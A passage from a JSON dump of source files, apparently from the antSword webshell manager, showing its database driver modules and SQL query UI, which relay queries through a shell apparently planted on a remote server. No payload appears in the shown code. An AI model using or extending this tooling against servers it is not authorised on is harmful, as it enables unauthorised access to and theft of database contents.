启用SQL编辑框\n  enableEditor() {\n    ['exec', 'clear'].map(\n      this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)\n    );\n    this.manager.query.editor.setReadOnly(false);\n  }\n\n}\n\nmodule.exports = ASP;\n"
  },
  {
    "path": "antSword/source/modules/database/aspx/index.js",
    "content": "// \n// 数据库驱动::ASPX\n// \n\nmodule.exports = require('../asp/index');"
  },
  {
    "path": "antSword/source/modules/database/custom/index.js",
    "content": "//\n// 数据库驱动::CUSTOM\n// 支持数据库: Any\n//\n\nconst LANG = antSword['language']['database'];\nconst LANG_T = antSword['language']['toastr'];\n\nclass CUSTOM {\n\n  constructor(opt) {\n    this.opt = opt;\n    this.core = this.opt.core;\n    this.manager = this.opt.super;\n    //\n    // * 数据库驱动列表\n    //\n    this.conns = {\n      'mysql': 'com.mysql.jdbc.Driver\\r\\njdbc:mysql://localhost/test?user=root&password=123456',\n      'sqlserver': 'com.microsoft.sqlserver.jdbc.SQLServerDriver\\r\\njdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456',\n      'oracle': 'oracle.jdbc.driver.OracleDriver\\r\\njdbc:oracle:thin:user/password@127.0.0.1:1521/test',\n    };\n    // 1. 初始化TREE UI\n    this.tree = this.manager.list.layout.attachTree();\n    // 2. 加载数据库配置\n    this.parse();\n    // 3. tree单击::设置当前配置&&激活按钮\n    this.tree.attachEvent('onClick', (id) => {\n      // 更改按钮状态\n      id.startsWith('conn::') ? this.enableToolbar() : this.disableToolbar();\n      // 设置当前配置\n      const tmp = id.split('::');\n      const arr = tmp[1].split(':');\n      // 设置当前数据库\n      this.dbconf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n        _id: this.manager.opt['_id'],\n        id: arr[0]\n      });\n      if (arr.length > 1) {\n        this.dbconf['database'] = new Buffer(arr[1], 'base64').toString();\n        // 更新SQL编辑器\n        this.enableEditor();\n        // manager.query.update(this.currentConf);\n      }else{\n        this.disableEditor();\n      }\n    });\n    // 4. tree双击::加载库/表/字段\n    this.tree.attachEvent('onDblClick', (id) => {\n      const arr = id.split('::');\n      if (arr.length < 2) { throw new Error('ID ERR: ' + id) };\n      switch(arr[0]) {\n        // 获取数据库列表\n        case 'conn':\n          this.getDatabases(arr[1]);\n          break;\n        // 获取数据库表名\n        case 'database':\n          let _db = arr[1].split(':');\n          this.getTables(\n            _db[0],\n            new Buffer(_db[1], 'base64').toString()\n          );\n          break;\n        // 获取表名字段\n        case 'table':\n          let _tb = arr[1].split(':');\n          this.getColumns(\n            _tb[0],\n            new Buffer(_tb[1], 'base64').toString(),\n            new Buffer(_tb[2], 'base64').toString()\n          );\n          break;\n        // 生成查询SQL语句\n        case 'column':\n          let _co = arr[1].split(':');\n          const db = new Buffer(_co[1], 'base64').toString();\n          const table = new Buffer(_co[2], 'base64').toString();\n          const column = new Buffer(_co[3], 'base64').toString();\n\n          const sql = `SELECT ${column} FROM ${db}.${table} ORDER BY 1 DESC;`;\n          this.manager.query.editor.session.setValue(sql);\n          break;\n      }\n    });\n    // 5. tree右键::功能菜单\n    this.tree.attachEvent('onRightClick', (id, event) => {\n      if (!id.startsWith('conn::')) { return };\n      this.tree.selectItem(id);\n      this.tree.callEvent('onClick', [id]);\n      bmenu([\n        {\n          text: LANG['list']['menu']['add'],\n          icon: 'fa fa-plus-circle',\n          action: this.addConf.bind(this)\n        }, {\n          divider: true\n        }, {\n          text: LANG['list']['menu']['edit'],\n          icon: 'fa fa-edit',\n          action: this.editConf.bind(this)\n        }, {\n          divider: true\n        }, {\n          text: LANG['list']['menu']['del'],\n          icon: 'fa fa-remove',\n          action: this.delConf.bind(this)\n        }\n      ], event);\n    });\n  }\n\n  // 加载配置列表\n  parse() {\n    // 获取数据\n    const info = antSword['ipcRenderer'].sendSync('shell-findOne', this.manager.opt['_id']);\n    const conf = info['database'] || {};\n    // 刷新UI\n    // 1.清空数据\n    this.tree.deleteChildItems(0);\n    // 2.添加数据\n    let items = [];\n    for (let _ in conf) {\n      items.push({\n        id: `conn::${_}`,\n        // text: `${conf[_]['type']}:\\/\\/${conf[_]['user']}@${conf[_]['host']}`,\n        text: conf[_]['type'].toUpperCase(),\n        im0: this.manager.list.imgs[0],\n        im1: this.manager.list.imgs[0],\n        im2: this.manager.list.imgs[0]\n      });\n    }\n    // 3.刷新UI\n    this.tree.parse({\n      id: 0,\n      item: items\n    }, 'json');\n    // 禁用按钮\n    this.disableToolbar();\n    this.disableEditor();\n  }\n\n  // 添加配置\n  addConf() {\n    const hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n    // 创建窗口\n    const win = this.manager.win.createWindow(hash, 0, 0, 450, 300);\n    win.setText(LANG['form']['title']);\n    win.centerOnScreen();\n    win.button('minmax').hide();\n    win.setModal(true);\n    win.denyResize();\n    // 工具栏\n    const toolbar = win.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'add',\n      type: 'button',\n      icon: 'plus-circle',\n      text: LANG['form']['toolbar']['add']\n    }, {\n      type: 'separator'\n    }, {\n      id: 'clear',\n      type: 'button',\n      icon: 'remove',\n      text: LANG['form']['toolbar']['clear']\n    }]);\n\n    // form\n    const form = win.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => {\n          let ret = [];\n          for (let _ in this.conns) {\n            ret.push({\n              text: _.toUpperCase(),\n              value: _\n            });\n          }\n          return ret;\n        })() },\n        { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: 'com.mysql.jdbc.Driver\\r\\njdbc:mysql://localhost/test?user=root&password=123456', rows: 9 }\n      ]}\n    ], true);\n\n    form.attachEvent('onChange', (_, id) => {\n      if (_ !== 'type') { return };\n      form.setFormData({\n        conn: this.conns[id]\n      });\n    });\n\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'clear':\n          form.clear();\n          break;\n        case 'add':\n          if (!form.validate()) {\n            // return '填写完整！';\n            return toastr.warning(LANG['form']['warning'], LANG_T['warning']);\n          };\n          // 解析数据\n          let data = form.getValues();\n          // 验证是否连接成功(获取数据库列表)\n          const id = antSword['ipcRenderer'].sendSync('shell-addDataConf', {\n            _id: this.manager.opt['_id'],\n            data: data\n          });\n          win.close();\n          toastr.success(LANG['form']['success'], LANG_T['success']);\n          this.tree.insertNewItem(0,\n            `conn::${id}`,\n            // `${data['type']}:\\/\\/${data['user']}@${data['host']}`,\n            data['type'].toUpperCase(),\n            null,\n            this.manager.list.imgs[0],\n            this.manager.list.imgs[0],\n            this.manager.list.imgs[0]\n          );\n          break;\n      }\n    });\n  }\n\n  // 修改配置\n  editConf() {\n    const id = this.tree.getSelected().split('::')[1];\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n    const hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n    // 创建窗口\n    const win = this.manager.win.createWindow(hash, 0, 0, 450, 300);\n    win.setText(LANG['form']['title']);\n    win.centerOnScreen();\n    win.button('minmax').hide();\n    win.setModal(true);\n    win.denyResize();\n    // 工具栏\n    const toolbar = win.attachToolbar();\n    toolbar.loadStruct([{\n      id: 'edit',\n      type: 'button',\n      icon: 'edit',\n      text: LANG['form']['toolbar']['edit']\n    }, {\n      type: 'separator'\n    }, {\n      id: 'clear',\n      type: 'button',\n      icon: 'remove',\n      text: LANG['form']['toolbar']['clear']\n    }]);\n\n    // form\n    const form = win.attachForm([\n      { type: 'settings', position: 'label-left', labelWidth: 80, inputWidth: 280 },\n      { type: 'block', inputWidth: 'auto', offsetTop: 12, list: [\n        { type: 'combo', label: LANG['form']['type'], readonly: true, name: 'type', options: (() => {\n          let ret = [];\n          for (let _ in this.conns) {\n            ret.push({\n              text: _.toUpperCase(),\n              value: _,\n              selected: conf['type'] === _\n            });\n          }\n          return ret;\n        })() },\n        { type: 'input', label: LANG['form']['conn'], name: 'conn', required: true, value: conf['conn'], rows: 9 }\n      ]}\n    ], true);\n\n    form.attachEvent('onChange', (_, id) => {\n      if (_ !== 'type') { return };\n      form.setFormData({\n        conn: this.conns[id]\n      });\n    });\n\n    // 工具栏点击事件\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'clear':\n          form.clear();\n          break;\n        case 'edit':\n          if (!form.validate()) {\n            // return '填写完整！';\n            return toastr.warning(LANG['form']['warning'], LANG_T['warning']);\n          };\n          // 解析数据\n          let data = form.getValues();\n          // 验证是否连接成功(获取数据库列表)\n          const id = antSword['ipcRenderer'].sendSync('shell-editDataConf', {\n            _id: this.manager.opt['_id'],\n            id: this.tree.getSelected().split('::')[1],\n            data: data\n          });\n          win.close();\n          toastr.success(LANG['form']['success'], LANG_T['success']);\n          // 刷新 UI\n          this.parse();\n          break;\n      }\n    });\n  }\n\n  // 删除配置\n  delConf() {\n    const id = this.tree.getSelected().split('::')[1];\n    layer.confirm(LANG['form']['del']['confirm'], {\n      icon: 2, shift: 6,\n      title: LANG['form']['del']['title']\n    }, (_) => {\n      layer.close(_);\n      const ret = antSword['ipcRenderer'].sendSync('shell-delDataConf', {\n        _id: this.manager.opt['_id'],\n        id: id\n      });\n      if (ret === 1) {\n        toastr.success(LANG['form']['del']['success'], LANG_T['success']);\n        this.tree.deleteItem(`conn::${id}`);\n        // 禁用按钮\n        this.disableToolbar();\n        this.disableEditor();\n        // ['edit', 'del'].map(this.toolbar::this.toolbar.disableItem);\n        // this.parse();\n      }else{\n        toastr.error(LANG['form']['del']['error'](ret), LANG_T['error']);\n      }\n    });\n  }\n\n  // 获取数据库列表\n  getDatabases(id) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_databases({\n        conn: conf['conn'],\n        encode: this.manager.opt.encode,\n        db: ['access', 'microsoft_jet_oledb_4_0'].indexOf(conf['type']) > -1 ? conf['conn'].match(/[\\w]+.mdb$/) : 'database'\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      if (arr.length === 1 && ret === '') {\n        toastr.warning(LANG['result']['warning'], LANG_T['warning'])\n        return this.manager.list.layout.progressOff();\n      };\n      // 删除子节点\n      this.tree.deleteChildItems(`conn::${id}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _db = new Buffer(_).toString('base64');\n        this.tree.insertNewItem(\n          `conn::${id}`,\n          `database::${id}:${_db}`,\n          _, null,\n          this.manager.list.imgs[1],\n          this.manager.list.imgs[1],\n          this.manager.list.imgs[1]);\n      });\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['database'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 获取数据库表数据\n  getTables(id, db) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_tables(\n      {\n        conn: conf['conn'],\n        encode: this.manager.opt.encode,\n        db: db\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      const _db = new Buffer(db).toString('base64');\n      // 删除子节点\n      this.tree.deleteChildItems(`database::${id}:${_db}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _table = new Buffer(_).toString('base64');\n        this.tree.insertNewItem(\n          `database::${id}:${_db}`,\n          `table::${id}:${_db}:${_table}`,\n          _,\n          null,\n          this.manager.list.imgs[2],\n          this.manager.list.imgs[2],\n          this.manager.list.imgs[2]\n        );\n      });\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['table'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 获取字段\n  getColumns(id, db, table) {\n    this.manager.list.layout.progressOn();\n    // 获取配置\n    const conf = antSword['ipcRenderer'].sendSync('shell-getDataConf', {\n      _id: this.manager.opt['_id'],\n      id: id\n    });\n\n    this.core.request(\n      this.core[`database_${conf['type']}`].show_columns(\n      {\n        conn: conf['conn'],\n        encode: this.manager.opt.encode,\n        db: db,\n        table: table\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      const arr = ret.split('\\t');\n      const _db = new Buffer(db).toString('base64');\n      const _table = new Buffer(table).toString('base64');\n      // 删除子节点\n      this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`);\n      // 添加子节点\n      arr.map((_) => {\n        if (!_) { return };\n        const _column = new Buffer(_.split(' ')[0]).toString('base64');\n        this.tree.insertNewItem(\n          `table::${id}:${_db}:${_table}`,\n          `column::${id}:${_db}:${_table}:${_column}`,\n          _, null,\n          this.manager.list.imgs[3],\n          this.manager.list.imgs[3],\n          this.manager.list.imgs[3]\n        );\n      });\n      // 更新编辑器SQL语句\n      this.manager.query.editor.session.setValue(\n        conf['type'] === 'oracle'\n        ? `SELECT * FROM (SELECT A.*,ROWNUM N FROM ${db}.${table} A ORDER BY 1 DESC) WHERE N>0 AND N<=20`\n        : `SELECT * FROM ${db}.${table} ORDER BY 1 DESC LIMIT 0,20;`);\n      this.manager.list.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['column'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.list.layout.progressOff();\n    });\n  }\n\n  // 执行SQL\n  execSQL(sql) {\n    this.manager.query.layout.progressOn();\n\n    this.core.request(\n      this.core[`database_${this.dbconf['type']}`].query({\n        conn: this.dbconf['conn'],\n        encode: this.manager.opt.encode,\n        sql: sql\n      })\n    ).then((res) => {\n      let ret = res['text'];\n      // 更新执行结果\n      this.updateResult(ret);\n      this.manager.query.layout.progressOff();\n    }).catch((err) => {\n      toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']);\n      this.manager.query.layout.progressOff();\n    });\n  }\n\n  // 更新SQL执行结果\n  updateResult(data) {\n    // 1.分割数组\n    const arr = data.split('\\n');\n    // let arr = [];\n    // _arr.map((_) => {\n    //   arr.push(antSword.noxss(_));\n    // });\n    // console.log(_arr, arr);\n    // 2.判断数据\n    if (arr.length < 2) {\n      return toastr.error(LANG['result']['error']['parse'], LANG_T['error']);\n    };\n    // 3.行头\n    let header_arr = arr[0].split('\\t|\\t');\n    if (header_arr.length === 1) {\n      return toastr.warning(LANG['result']['error']['noresult'], LANG_T['warning']);\n    };\n    if (header_arr[header_arr.length - 1] === '\\r') {\n      header_arr.pop();\n    };\n    arr.shift();\n    // 4.数据\n    let data_arr = [];\n    arr.map((_) => {\n      let _data = _.split('\\t|\\t');\n      data_arr.push(_data);\n    });\n    data_arr.pop();\n    // 5.初始化表格\n    const grid = this.manager.result.layout.attachGrid();\n    grid.clearAll();\n    grid.setHeader(header_arr.join(',').replace(/,$/, ''));\n    grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, ''));\n    grid.setInitWidths('*');\n    grid.setEditable(true);\n    grid.init();\n    // 添加数据\n    let grid_data = [];\n    for (let i = 0; i < data_arr.length; i ++) {\n      grid_data.push({\n        id: i + 1,\n        data: data_arr[i]\n      });\n    }\n    grid.parse({\n      'rows': grid_data\n    }, 'json');\n    // 启用导出按钮\n    // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump');\n  }\n\n  // 禁用toolbar按钮\n  disableToolbar() {\n    this.manager.list.toolbar.disableItem('del');\n    this.manager.list.toolbar.disableItem('edit');\n  }\n\n  // 启用toolbar按钮\n  enableToolbar() {\n    this.manager.list.toolbar.enableItem('del');\n    this.manager.list.toolbar.enableItem('edit');\n  }\n\n  // 禁用SQL编辑框\n  disableEditor() {\n    ['exec', 'clear'].map(\n      this.manager.query.toolbar.disableItem.bind(this.manager.query.toolbar)\n    );\n    this.manager.query.editor.setReadOnly(true);\n  }\n\n  // 启用SQL编辑框\n  enableEditor() {\n    ['exec', 'clear'].map(\n      this.manager.query.toolbar.enableItem.bind(this.manager.query.toolbar)\n    );\n    this.manager.query.editor.setReadOnly(false);\n  }\n\n}\n\nmodule.exports = CUSTOM;\n"
  },
  {
    "path": "antSword/source/modules/database/index.js",
    "content": "//\n// 数据库管理模块\n//\n\n// import React from 'react';\n// import ReactDOM from 'react-dom';\n// import AceEditor from 'react-ace';\n\nconst LANG = antSword['language']['database'];\n\nclass Database {\n\n  constructor(opt) {\n    this.hash = (+new Date * Math.random()).toString(16).substr(2, 8);\n\n    // 初始化UI\n    const tabbar = antSword['tabbar'];\n    tabbar.addTab(\n      `tab_database_${this.hash}`,\n      `<i class=\"fa fa-database\"></i> ${opt['ip']}`,\n      null, null, true, true\n    );\n    this.cell = tabbar.cells(`tab_database_${this.hash}`);\n    this.cell.progressOn();\n\n    // layout\n    this.layout_main = this.cell.attachLayout('2U');\n    this.layout_right = this.layout_main.cells('b').attachLayout('2E');\n\n    this.list = this.initList(this.layout_main.cells('a'));\n    this.query = this.initQuery(this.layout_right.cells('a'));\n    this.result = this.initResult(this.layout_right.cells('b'));\n\n    this.opt = opt;\n    this.win = new dhtmlXWindows();\n    this.win.attachViewportTo(this.cell.cell);\n\n    // 加载数据库驱动\n    const _module = require(`./${opt['type']}/index`);\n    this.drive = new _module({\n      core: new antSword['core'][opt['type']](opt),\n      super: this\n    });\n    this.cell.progressOff();\n  }\n\n  // 初始化左侧列表\n  initList(layout) {\n    layout.setText(`<i class=\"fa fa-server\"></i> ${LANG['list']['title']}`);\n    layout.setWidth('250');\n\n    // tree图标\n    const imgs = [\n      // connect\n      'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAPCAQAAACouOyaAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEUSURBVCjPddA9S1txAIXx370JwVCJ0YRCI4FARl2EOrrZdu4USjt0yDewg7uLk1/AF0gcXJylu7MQEUpbaCHcraGNbSik6r1/h2ZIhpzpnIdnOkxnz8B3A/vTMJ5RarpeOFGbr0RSYw+zdFb5ouXSO5/NzYJDQUdxGuZBVVGEIEOmOlljAyKxNz5YFoGykpEhCH47cBqp+Oi5X/6Bkif++gMKKnpe8cwnd95qamo6EnQnvWXsq3peEASJb2CI20l/KhOE2IqCWEWMBUsoKSJWlVOwwpVE4sYmdvQl+nax4Voi0Ys1tG0bqWPNuS1n1rFq7KX3arFMKpUJCNLJ+v9RKpXlZY7dW/QTP7S9VtbBUMOFvNwjiZlZspGW2aUAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NDk6MzQrMDg6MDAa6yDqAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTA1LTAxVDIxOjEyOjA2KzA4OjAwmIBnWAAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAACV0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRlZCBieSBJY29Nb29uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADY2N7Lgj5AAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANzExhvGGCAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk4OTQ5OTI2Hzsr2gAAABN0RVh0VGh1bWI6OlNpemUANy4yMUtCQtXNgY4AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTU4Mi8xMTU4Mjc4LnBuZwIRWX8AAAAASUVORK5CYII=',\n      // databass\n      'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAA4AAAAPCAQAAAB+HTb/AAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAAGQAAABkAA+Wxd0AAAEXSURBVBjTZck/S5RxAADg5+f75+5t8NTUSktEKCGCFp0U8dwcBMFBNwlu1a8Rrn4CJ0drdDF0bY1e4hAFQcEbTpT0ulfPc2irZ30C3lhWNabsrz/OHPrqLFiy6dKRXEMLmWHvzXlpm1xN6l+pmrzHiKbivyw0jQR36o4cqGtqo6TfpAXz3gUnNnwwpYIHxLiR+247lmnYkhjQL0PLFda0lWOpVUN+amjoIih75dqiUnBsVcWEVEcHkUjHrbrdWMWQfd+UPZOicKfkk3u9sUdzXvjl3I0WEs+99ttH3eDEosikAYmArnu3Ij98ibXN2JEjEuNBR2bdgiJyoaaqT0kikRn0VtWsaZ8Dxq2YNyr1iB6Fc4f2nD4BUO1Rv9s0w+gAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NTA6MjYrMDg6MDB8RcVXAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTA1LTAxVDIwOjUwOjM1KzA4OjAwTl0AHAAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAACV0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRlZCBieSBJY29Nb29uLmlvIDDLy0gAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADcxMRUA1lUAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANjI03HRLcwAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk4OTQ4NjM1LMlreQAAABN0RVh0VGh1bWI6OlNpemUAMjEuM0tCQnpsrG8AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTU3Ny8xMTU3NzMyLnBuZxOTOSYAAAAASUVORK5CYII=',\n      // table\n      'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAABLAAAASwAJArFzAAAADgSURBVCjPfdA9L0NhGAbg660X7aaHQXo6kKYswmQUhPKT/Yl20sRQ0qKLGFjo11GW0w4t7unK/eRZ7qBsQ/BX3oMb+/j+5RjQDab//COaepUhSryZLGiLvnM7dp1oulhSN8o862FqNNfQU64sWpEaIbWuYpArNUQqBkNtAxTt6SzpgL5LNTWnWhq5mrnO9KJMzwMyQ49zzbpJVFC2iURUlggSUZKrEHxq+kDJkdtch9q5julrqKs713I911WuXpTpusfYQFdnQZPZDkFVUcVAmO8QVMXgTskYq7a9LGjN1w888l4QdsfN6AAAACV0RVh0ZGF0ZTpjcmVhdGUAMjAxNS0wNy0yNVQyMTo1MDozMiswODowMESg4doAAAAldEVYdGRhdGU6bW9kaWZ5ADIwMTQtMDQtMDZUMDk6NTM6MTcrMDg6MDA8MBsjAAAATnRFWHRzb2Z0d2FyZQBJbWFnZU1hZ2ljayA2LjguOC0xMCBRMTYgeDg2XzY0IDIwMTUtMDctMTkgaHR0cDovL3d3dy5pbWFnZW1hZ2ljay5vcmcFDJw1AAAAI3RFWHRzdmc6Y29tbWVudAAgR2VuZXJhdG9yOiBJY29Nb29uLmlvILwwrIAAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADUzM8q8AZUAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgANTMzWU1RyAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzk2NzQ5MTk37+6JEgAAABN0RVh0VGh1bWI6OlNpemUAMi45NUtCQn9HCG8AAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTQzNS8xMTQzNTI4LnBuZ1baGAoAAAAASUVORK5CYII=',\n      // column\n      'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAPCAQAAABHeoekAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QAAKqNIzIAAAAJcEhZcwAAASwAAAEsAHOI6VIAAAB1SURBVBjTY2TYyrCbATcwY2CoYsAHElgYWBjYkAT+MzAwMCLxWRgZtjHsQRIQYGBmeIvEN2VhOMswD0nAiYGXYSOcx8jwk4XhO8MHJAWfGBhQ+F+Z0BzFiM5HV4ABhoiC/yj8f+h8FgYNBh8kAQMGLobfyHwAyM8UUNk8qsEAAAAldEVYdGRhdGU6Y3JlYXRlADIwMTUtMDctMjVUMjE6NDk6MzYrMDg6MDCNdDHDAAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE0LTEyLTE5VDE4OjU2OjEyKzA4OjAwOU9bHwAAAE50RVh0c29mdHdhcmUASW1hZ2VNYWdpY2sgNi44LjgtMTAgUTE2IHg4Nl82NCAyMDE1LTA3LTE5IGh0dHA6Ly93d3cuaW1hZ2VtYWdpY2sub3JnBQycNQAAAGN0RVh0c3ZnOmNvbW1lbnQAIEdlbmVyYXRvcjogQWRvYmUgSWxsdXN0cmF0b3IgMTYuMC4wLCBTVkcgRXhwb3J0IFBsdWctSW4gLiBTVkcgVmVyc2lvbjogNi4wMCBCdWlsZCAwKSAgcgt1lgAAABh0RVh0VGh1bWI6OkRvY3VtZW50OjpQYWdlcwAxp/+7LwAAABh0RVh0VGh1bWI6OkltYWdlOjpIZWlnaHQAMjY1W+dGYAAAABd0RVh0VGh1bWI6OkltYWdlOjpXaWR0aAAyNjZRH0eHAAAAGXRFWHRUaHVtYjo6TWltZXR5cGUAaW1hZ2UvcG5nP7JWTgAAABd0RVh0VGh1bWI6Ok1UaW1lADE0MTg5ODY1NzJGLGnJAAAAE3RFWHRUaHVtYjo6U2l6ZQAxLjEzS0JCW7QG7wAAAFp0RVh0VGh1bWI6OlVSSQBmaWxlOi8vL2hvbWUvd3d3cm9vdC93d3cuZWFzeWljb24ubmV0L2Nkbi1pbWcuZWFzeWljb24uY24vc3JjLzExODMwLzExODMwMjcucG5nOFxJnwAAAABJRU5ErkJggg=='\n    ];\n\n    // 左侧拦toolbar\n    const toolbar = layout.attachToolbar();\n    toolbar.loadStruct([\n      { id: 'add', text: LANG['list']['add'], icon: 'plus-circle', type: 'button' },\n      { type: 'separator' },\n      { id: 'edit', text: LANG['list']['edit'], icon: 'edit', type: 'button', disabled: true },\n      { type: 'separator' },\n      { id: 'del', text: LANG['list']['del'], icon: 'trash-o', type: 'button', disabled: true }\n    ]);\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'add':\n          this.drive.addConf();\n          break;\n        case 'del':\n          this.drive.delConf();\n          break;\n        case 'edit':\n          this.drive.editConf();\n          break;\n      }\n    });\n    return {\n      imgs: imgs,\n      layout: layout,\n      toolbar: toolbar\n    };\n  }\n\n  // 初始化右侧::SQL执行\n  initQuery(layout) {\n    layout.setText(`<i class=\"fa fa-code\"></i> ${LANG['query']['title']}`);\n    layout.setHeight('200');\n\n    let editor;\n    // SQL语句toolbar\n    const toolbar = layout.attachToolbar();\n    toolbar.loadStruct([\n      { id: 'exec', text: LANG['query']['exec'], icon: 'play', type: 'button', disabled: true },\n      // { type: 'separator' },\n      // { id: 'import', text: '导入', icon: 'download', type: 'button' },\n      { type: 'separator' },\n      { id: 'clear', text: LANG['query']['clear'], icon: 'remove', type: 'button' }\n    ]);\n\n    toolbar.attachEvent('onClick', (id) => {\n      switch(id) {\n        case 'clear':\n          editor.session.setValue('');\n          break;\n        case 'exec':\n          this.drive.execSQL(editor.session.getValue());\n          break;\n      }\n    });\n\n    // SQL语句编辑器\n    editor = ace.edit(layout.cell.lastChild);\n    editor.$blockScrolling = Infinity;\n    editor.setTheme('ace/theme/tomorrow');\n    editor.session.setMode('ace/mode/sql');\n    editor.session.setUseWrapMode(true);\n    editor.session.setWrapLimitRange(null,null);\n\n    editor.setOptions({\n      fontSize: '14px',\n      enableBasicAutocompletion: true,\n      enableSnippets: true,\n      enableLiveAutocompletion: true\n    });\n\n    // 快捷键\n    editor.commands.addCommand({\n      name: 'exec',\n      bindKey: {\n        win: 'Ctrl-E',\n        mac: 'Command-E'\n      },\n      exec: () => {\n        toolbar.callEvent('onClick', 